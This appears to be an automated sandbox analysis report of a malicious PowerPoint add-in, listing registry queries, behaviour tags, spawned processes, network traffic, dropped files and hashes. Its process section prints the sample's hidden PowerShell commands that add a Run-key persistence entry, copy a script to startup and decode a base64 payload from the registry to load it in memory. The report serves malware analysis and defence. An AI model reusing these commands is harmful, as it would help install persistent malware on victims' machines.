Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy WMI provider

ransomware

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE

"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Documentosrs.ppam" /ou ""

C:\Windows\SYSTEM32\wscript.exe

wscript C:\Users\Admin\AppData\Roaming/RG.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\RG.js' -PropertyType String -Force;"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\RG.js'))"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 18.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 14.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 dc708.4sync.com udp
US 204.155.149.130:443 dc708.4sync.com tcp
US 8.8.8.8:53 g.bing.com udp
US 150.171.27.10:443 g.bing.com tcp
US 8.8.8.8:53 130.149.155.204.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 23.249.124.192.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 54.146.241.16:5222 tcp
US 8.8.8.8:53 16.241.146.54.in-addr.arpa udp
US 8.8.8.8:53 6.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 metadata.templates.cdn.office.net udp
GB 23.48.165.161:443 metadata.templates.cdn.office.net tcp
US 8.8.8.8:53 binaries.templates.cdn.office.net udp
GB 2.19.117.169:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.169:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.169:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.169:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.169:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.169:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.169:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.169:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.169:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.169:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.169:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.169:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.169:443 binaries.templates.cdn.office.net tcp
US 8.8.8.8:53 161.165.48.23.in-addr.arpa udp
US 8.8.8.8:53 169.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 200.163.202.172.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 66.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp

Files

memory/4076-3-0x00007FFFA928D000-0x00007FFFA928E000-memory.dmp

memory/4076-2-0x00007FFF69270000-0x00007FFF69280000-memory.dmp

memory/4076-0-0x00007FFF69270000-0x00007FFF69280000-memory.dmp

memory/4076-1-0x00007FFF69270000-0x00007FFF69280000-memory.dmp

memory/4076-4-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

memory/4076-6-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

memory/4076-8-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

memory/4076-7-0x00007FFF69270000-0x00007FFF69280000-memory.dmp

memory/4076-5-0x00007FFF69270000-0x00007FFF69280000-memory.dmp

memory/4076-10-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

memory/4076-9-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

memory/4076-11-0x00007FFF66910000-0x00007FFF66920000-memory.dmp

memory/4076-12-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

memory/4076-13-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

memory/4076-14-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

memory/4076-16-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

memory/4076-17-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

memory/4076-20-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

memory/4076-19-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

memory/4076-18-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

memory/4076-15-0x00007FFF66910000-0x00007FFF66920000-memory.dmp

memory/4076-28-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

memory/4076-29-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

memory/4076-34-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

memory/4076-49-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

C:\Users\Admin\AppData\Roaming\RG.js

MD5 dce39f51f2677748f77792f70d277dc1
SHA1 7fb251f50249f3d8962cc21b430c3ae9920031d2
SHA256 8d5edf251a3075a591ce31722558350739561ea7bca7b0bb3f5db646c16727cd
SHA512 3bf8b128104db8a12a45ea969f48f037f6f74833313e3f54b60224c75793b101a55d097821f23881c8169a18e5a850141a1ff5a4d33845a9b4bb61633018938d

memory/4008-61-0x000001701FDE0000-0x000001701FE02000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_czmmacqt.1ok.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4008-80-0x000001701FE60000-0x000001701FEA4000-memory.dmp

memory/4008-82-0x0000017020290000-0x0000017020306000-memory.dmp

memory/3496-83-0x000002357C740000-0x000002357C74A000-memory.dmp

memory/4076-88-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

memory/4076-89-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

memory/4076-90-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c